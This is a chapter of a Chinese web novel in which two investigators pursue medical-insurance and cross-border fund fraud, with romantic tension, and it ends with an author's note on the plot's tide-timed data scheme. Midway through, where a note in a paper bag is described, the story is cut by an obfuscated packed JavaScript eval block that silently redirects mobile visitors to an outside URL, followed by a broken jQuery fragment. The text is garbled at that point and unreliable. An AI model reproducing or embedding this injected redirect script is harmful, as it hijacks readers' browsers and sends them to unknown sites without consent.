窗外晨雾已散,玻璃滤进金灿灿的朝阳,技术组同事们正忙着将最后一批服务器数据拷贝。
程叙白独自站在走廊边,平板上是央行刚发来的《跨境资金追索确认书》。
“结案礼物。”江峙不知何时出现在身侧,递来一罐冰咖啡,“银监会特批,我们的测试账户完成备案了。”
他胳膊上还缠着的纱布渗出淡红,却笑得满不在乎。
程叙白接过咖啡,冰凉的触感让他指尖微颤。
交接时两人手指无意相触,动作都顿了下。
“急救箱在会议室第二层,有防水敷料。”程叙白皱眉打量他血的纱布,突然从西装内袋抽出真丝方巾,直接按在伤口上,“伤口感染会耽误结案进度。”
江峙怔了怔,随即低头轻笑:“行,听专家的。”
他仰头灌完剩下手里的可乐,几滴琥珀色液体顺着下颌滑落,混不在意地用没受伤的手背抹去。
“不过下次换个便宜点的止血材料。”
程叙白淡淡瞥他。
江峙晃了晃染血的丝巾,语气带着调侃:“爱马仕,挺贵的。”
“…………”
“没有下次。”程叙白将滑落的眼镜推回鼻梁,“《反洗钱工作指引》明确规定,重大案件结案后必须强制休假。”
远处传来轻轨穿楼而过的轰鸣,与早高峰的车流声,渝江在晨光中缓缓苏醒。
落地窗的倒影里,两个并肩而立的身影虽显疲惫,却依旧挺拔,正静静注视着这座他们共同守护的城市。
……
晚秋闷热得反常,空气中弥漫着江水蒸腾的湿气,那感觉,就像一块浸了水的绒布裹住人的口鼻,难受的想要换个地方。
程叙白推开长江索道员工通道的铁门时,生锈的铰链发出刺耳的“吱呀”声,仿佛不情愿地抗议。
他抬手看了眼腕表,表面映着控制室上方电子钟的红色数字,21:49,距离末班车发车还剩三分钟。
“又加班啊?”
这个声音像一股电流窜过程叙白的脊背。
程叙白转头,看见江峙斜倚在操作台边上,指间捏着半个冷透的肉松面包,碎屑正往警服扣子上掉。
程叙白推了推眼镜,镜片后的目光微微闪动:“央行跨境结算数据同步出了问题。”
“再晚三分钟,”江峙用面包虚点控制面板上闪烁的红灯,嘴角那点笑要翘不翘的,“我们程少爷就得游过长江了。”
语气是刻意摆出的轻佻,可眼底那点藏不住的疲惫,到底露了馅。
程叙白的车正在总行定点维修基地进行金盾安防系统的封闭式升级。
据说这次加装的是最新研发的金融数据动态防护系统,包括资金流监测预警模块和应急加密通讯单元。
预计要到明天下午才能完成全部调试。
他迈步进了轿厢,金属地板随着脚步闷闷作响。视线扫过江峙胳膊,制服上那块深色水渍正在慢慢晕开。
……这人,果然又没好好处理伤口。
“你的伤口,”程叙白的声音突然变得生硬,“沾到面包屑了。”
江峙低头瞥了眼,顺手把剩下那半面包塞进程叙白手里:“那帮我拿一下。”
他的指尖擦过程叙白的掌心,带着潮湿的温度。
转身去启动索道时,警徽划出一道银弧。玻璃倒影里,程叙白的袖扣和江峙的警徽挨在一起,看不太清。
索道轿厢像个与世隔绝的玻璃盒子,在夜色中缓缓滑向江心。整座城市的灯火在玻璃窗外流淌起来,宛如打翻了的星河。
“医保案还有疑点。”程叙白轻声划破沉默,“那些19XX开头的身份证号,抽样规则太完美了,完美得不正常。”
江峙的喉结滚动了一下,没接话,而是从内袋里摸索出一张边角磨损的发黄照片。
照片定格在千禧年的除夕夜,渝江市社保局机房,一群年轻人围着老式服务器举杯。
他的指甲重重点在照片角落一个模糊的人影上,几乎要戳破相纸:“当年值班的技术组长,后面做过林修远的研究助理。”
程叙白推了推眼镜,他指尖在平板键盘上敲了几下,调出央行人事系统的界面。
果然,照片里那个戴着厚眼镜片的年轻人,如今已是蓉城分行科技处的副处长(挂职)。
他的声音突然变得锋利:“千禧年那次社保系统大更新,确实存在过大约十二小时的数据缓存漏洞。”
江峙凑过来,瞬间将程叙白笼罩,迫使他向后靠在了冰凉的玻璃上。
“所以徐明那家伙,”江峙的声音压得极低,每个字都带着咬牙切齿的力道,“才能利用这个19XX年的漏洞,去修改20XX年的医保报销记录?”
两人的呼吸在玻璃上氤氲出两团相同的白雾,又迅速消融。
就在索道行至江心最深处时,对岸的灯火毫无预兆地集体熄灭。
黑暗吞没一切的瞬间,江峙的呼吸声在咫尺之间变得异常清晰,成了黑暗中唯一的坐标。
“别动。”
“咔哒”一声,打火机的齿轮摩擦出火花,一簇小小的火苗顽强地亮起,在两人之间划开一道摇曳的橙红界限。
跳动的火光在江峙低垂的睫毛上投下阴影,将他眼底翻涌的情绪切割得晦暗不明。
“你睫毛上沾了灰。”江峙又凑近了些,打火机金属外壳传来的微热,熨烫着两人之间稀薄的空气。
他身上那股碘伏的味还没散,就跟晚上湿漉漉的凉气融在一起,这两种味道一搅和,感觉就像是要闹出点危险事儿来。
让人捉摸不透。
在火光摇曳的阴影里,程叙白看见江峙的瞳孔中映着两个小小的自己,而自己的镜片上,未保存的跨境资金模型正随着呼吸微微颤动。
电力恢复得迅猛而彻底,刺目的白光重新充盈轿厢的刹那,程叙白发现两人之间的空位上,不知何时多了一个牛皮纸袋。
他打开,里面是半块被压得有些变形的麻圆,酥皮上还清晰地印着几个指印。
一张字条躺在里面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17621530|205563||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,钢笔字迹有些晕开,像是被水汽浸润过:
【线人说上海人好甜口,渝江人好辣口,可没告诉过我,俩傻子该吃什么。】
“…………”
索道到站的提示音响起。
程叙白再抬眼时,江峙的身影早已消失在下方迷宫般的梯坎转角,只留下一缕碘伏的特殊气息。
……
凌晨的金融城空得能听见自己的心跳,程叙白的皮鞋声在走廊里踢踢踏踏,显得特别响。
他回到办公室,把芯片残片的数据导入分析模型,开始反向追踪它的写入时间。
同时,他调出手机里备份的报销记录,方才在黑暗中无暇细看的那批数据。
两个被他忽略的规律同时呈现:
所有异常报销记录的操作时间戳,精准地对上了长江每日的涨潮时刻。
这一点非常容易被忽略,就算是他,也不会猜到将涨潮时间计算进去,因为不确定因素太多。
而那枚芯片残片的数据波形图,居然和长江水文站记录的潮汐曲线一模一样。
这两个发现,太准确了……就像一段被预先写好的程序代码。
这个发现让他后背发凉。
手机突然在口袋里震起来。
江峙发来的消息,字不多但信息量吓人:【涨潮时服务器水冷系统会增压,徐明就是钻这个空子塞了假数据】
程叙白盯着屏幕看了会,手指头在键盘上敲敲打打又删掉,最后只回过去一句:
【得要水文站原始数据才能当证据】
他本来以为至少要等天亮才能有下文,没想到才三分钟,屏幕上就弹出来一份盖着渝江市防汛办公章的红头文件。
江峙在后面又跟了句话,看得程叙白手指头停在键盘上忘了动:
【两个傻子该吃夜宵了】
窗外头,长江水哗啦哗啦拍着堤岸,那声音一阵一阵的,像是有什么话要说给他听。
程叙白把眼镜摘下来,大拇指在镜片上蹭了蹭,感觉有点扎手。
凑到灯底下眯着眼看,才发现是粒面包屑。
和江峙伤口上粘的那粒特别像,不用细想也知道是哪来的。
……
作者有话说:
涨潮这个,给大家解释一下,可能不太看得懂——
涨潮的时候,服务器水冷系统启动,这个启动过程会产生一瞬间的电力波动和网络延迟。
这样一来,犯罪分子就会利用这个技术漏洞,在这个时间点把伪造的交易数据塞进了服务器。
因为数据混杂在系统波动中,常规的金融监管模型会把它们当成正常的环境干扰,直接过滤掉。
大家可能会疑惑,长江每天涨潮时间都不同,怎么会一样?
因为他们的作案节奏完全是跟着自然规律走,没有任何固定的时间模式,因此,这才能让警方无法通过常规的定期筛查来锁定他们。
所以小白发现这个问题害怕,是对方不仅在利用医保漏洞套利,还用了技术性的漏洞作案。